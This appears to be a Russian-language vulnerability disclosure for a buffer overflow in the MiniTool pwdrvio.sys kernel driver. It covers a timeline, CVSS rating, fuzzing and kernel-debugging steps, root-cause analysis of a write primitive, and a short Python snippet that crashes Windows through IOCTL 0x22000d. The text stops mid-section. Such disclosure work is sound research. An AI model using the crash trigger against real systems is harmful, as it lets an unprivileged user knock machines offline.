CVE-2026-36980-Kernel-BSOD-DoS-PoC

Дата проекта: февраль 2026 года / Обнаружена уязвимость переполнения буфера в обработчике IOCTL драйвера ядра pwdrvio.sys. Уязвимость позволяет непривилегированному локальному злоумышленнику повредить память пула ядра, вызывая немедленное падение системы (BSOD) и отказ в обслуживании.

• 2026-02-09 Вендор уведомлён
• 2026-03-05 Вендор подтвердил
• 2026-03-05 Запрошен CVE в MITRE
• 2026-05-10 Публичное раскрытие после 90-дневного периода скоординированного раскрытия

https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101

Отказ в обслуживании (DoS) Критичность: MEDIUM Оценка CVSS 3.1: 5.5 (DoS)
Векторная строка CVSS:

• DoS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Переполнение буфера — отказ в обслуживании (CVSS 5.5 - MEDIUM)

• Вызывает синий экран смерти (BSOD)
• Автономная эксплуатация (отладчик не требуется)
• Вызвано переполнением буфера через IOCTL 0x22000d
• Стабильное падение системы во всех протестированных конфигурациях

Предварительные условия атаки:

• Локальный доступ к целевой системе
• Учётная запись стандартного пользователя (не администратора)
• MiniTool Partition Wizard установлен или удалён (драйвер pwdrvio.sys загружен)

Результаты эксплуатации: DoS — немедленное падение системы, недоступность сервисов

Хронология обнаружения уязвимости

Этап 1: Первоначальный фаззинг и обнаружение BSOD

Дата: 5 февраля 2026 года
Действия: Систематический фаззинг драйвера ядра с помощью собственного Python-фаззера

Процесс обнаружения:

1. Выбор цели:

   • Перечислил установленные драйверы ядра на виртуальной машине Windows 10
   • Обнаружил, что pwdrvio.sys — самый старый драйвер (метка времени: 16 июня 2009 года)
   • Файл драйвера: C:\Windows\System32\drivers\pwdrvio.sys
   • Объект устройства: \\.\PartitionWizardDiskAccesser\0

2. Первоначальный фаззинг:

   • Разработал Python-фаззер с использованием ctypes для взаимодействия с драйвером
   • Отправлял случайные данные через WriteFile/DeviceIoControl на устройство драйвера
   • Результат: множественные синие экраны смерти (BSOD)

3. Активация верификатора:

   • Включил Driver Verifier для расширенного обнаружения сбоев

   verifier /standard /driver pwdrvio.sys
   

   Конфигурация верификатора:

   Verifier Flags: 0x001209bb
   Standard Flags Enabled:
     [X] Special pool
     [X] Force IRQL checking  
     [X] Pool tracking
     [X] I/O verification
     [X] Deadlock detection
     [X] DMA checking
     [X] Security checks
     [X] Miscellaneous checks
     [X] DDI compliance checking
   

Этап 2: Настройка отладки ядра с WinDbg

Дата: 5–6 февраля 2026 года
Действия: Настроил среду отладки ядра для анализа первопричины

Процедура настройки:

1. Настройка последовательного порта VMware:

   VMware Workstation Pro → VM Settings
   ├─ Add Hardware → Serial Port
   ├─ Connection: "Use named pipe"
   ├─ Path: \\.\pipe\com_1
   ├─ End: "This is the server"
   └─ I/O Mode: "Yield CPU on poll" ✓
   

2. Конфигурация гостевой ОС:

   REM Administrator Command Prompt
   bcdedit /debug on
   bcdedit /dbgsettings serial debugport:1 baudrate:115200
   shutdown /r /t 0
   

3. Подключение WinDbg на хосте:

   WinDbg → File → Attach to Kernel
   ├─ Port: \\.\pipe\com_1
   ├─ Baud Rate: 115200
   ├─ Pipe: ✓
   └─ Reconnect: ✓
   
   Result: "Kernel Debugger connection established."
   

Этап 3: Анализ первопричины — обнаружение произвольной записи

Дата: 6 февраля 2026 года
Действия: Обнаружил примитив произвольной записи в ядре

Шаги анализа:

1. Анализ модуля:

   1: kd> lm m pwdrvio
   start             end                 module name
   fffff805`315f0000 fffff805`315f8000   pwdrvio  (Jun 16 2009)
   
   1: kd> !drvobj pwdrvio 2
   Driver object (fffff805`XXXXXXXX) is for:
    \Driver\pwdrvio
   
   DriverEntry:   fffff805`315f6008
   DriverUnload:  fffff805`315f1060
   
   Dispatch Routines:
   [00] IRP_MJ_CREATE                      fffff805`315f108c
   [02] IRP_MJ_CLOSE                       fffff805`315f12f8
   [03] IRP_MJ_READ                        fffff805`315f16c4
   [04] IRP_MJ_WRITE                       fffff805`315f1564  ← Target
   [0e] IRP_MJ_DEVICE_CONTROL              fffff805`315f1404
   

2. Обнаружение уязвимой инструкции:

   Установка точки останова на обработчик записи:

   1: kd> bp pwdrvio+0x1641
   1: kd> g
   
   Breakpoint 0 hit
   pwdrvio+0x1641:
   fffff805`315f1641 498943f0        mov qword ptr [r11-10h],rax
   

   Ключевое открытие: обнаружен примитив произвольной записи!

   • Инструкция записывает указатель ядра (RAX) по адресу [R11-0x10]
   • R11 загружается из кадра стека: mov r11, qword ptr [rbp+0xB8h]
   • Проверка целевого адреса не выполняется

3. Анализ состояния регистров:

   0: kd> r
   rax=fffff805315f1364  ← Kernel code pointer
   r11=ffffe60f84c38750  ← Destination address (controlled via stack)
   rbp=ffffe60f84c38610  ← IRP stack frame
   
   0: kd> dq @rbp+0xB8 L1
   ffffe60f`84c386c8  ffffe60f`84c38750  ← R11 loaded from here
   

Этап 4: Анализ перехода от UAF к произвольной записи

Дата: 6–7 февраля 2026 года
Действия: Проследил уязвимость от Use-After-Free до условия write-what-where

Цепочка повреждения памяти:

1. Выделение IRP:

   0: kd> !pool @rbp
   Pool page ffffe60f84c38610 region is Special pool
   *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
   Pooltag Irp+ : I/O verifier allocated IRP packets
   

2. Связь буферов:

   0: kd> r rsi
   rsi=ffffe60f828df900  ← User buffer location
   
   0: kd> ? @rbp - @rsi
   Evaluate expression: 35823344 = 00000000`02229ef0  ← 35MB difference!
   

   Анализ: пользовательский буфер НЕ доступен напрямую из кадра RBP

   • RBP указывает на структуру IRP в пуле ядра
   • Пользовательский буфер находится в другом регионе памяти
   • Смещение RBP+0xB8 не указывает на контролируемый пользователем буфер

3. Условие Use-After-Free:

   Драйвер хранит висячие указатели в структуре IRP:

   // Ghidra decompilation (pwdrvio+0x1564)
   longlong lVar1 = *(longlong *)(param_2 + 0xb8);  // Load from IRP
   
   // No validation!
   lVar5 = IoBuildAsynchronousFsdRequest(...);
   
   // Write to [lVar1 - 0x10]
   *(code **)(lVar3 + -0x10) = FUN_00011364;  // Arbitrary write!
   

Этап 6: Выявление отказа в обслуживании

Дата: 8 февраля 2026 года
Действия: Обнаружил автономную DoS-уязвимость

Обнаружение:

1. Фаззинг IOCTL:

   • Протестированы различные IOCTL-коды с повреждёнными буферами
   • Выявлен уязвимый IOCTL 0x22000d

2. Механизм падения:

   # Vulnerable parameters
   TARGET_IOCTL = 0x22000d
   
   input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
   real_output_buffer = ctypes.create_string_buffer(4)
   fake_output_length = 8192  # Driver trusts this value!
   
   DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
                   real_output_buffer, fake_output_length, ...)
   

3. Поведение драйвера:

   • Драйвер доверяет указанной пользователем длине выходного буфера
   • Пытается записать 8192 байта в 4-байтовый буфер
   • Переполнение буфера → повреждение пула → BSOD

Вывод верификатора:

DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type

PROCESS_NAME: python.exe

Уязвимость №2: отказ в обслуживании (DoS)

Классификация CWE

• CWE-120: Копирование буфера без проверки размера входных данных
• CWE-119: Некорректное ограничение операций в буфере памяти
• CWE-248: Необработанное исключение

Детали уязвимости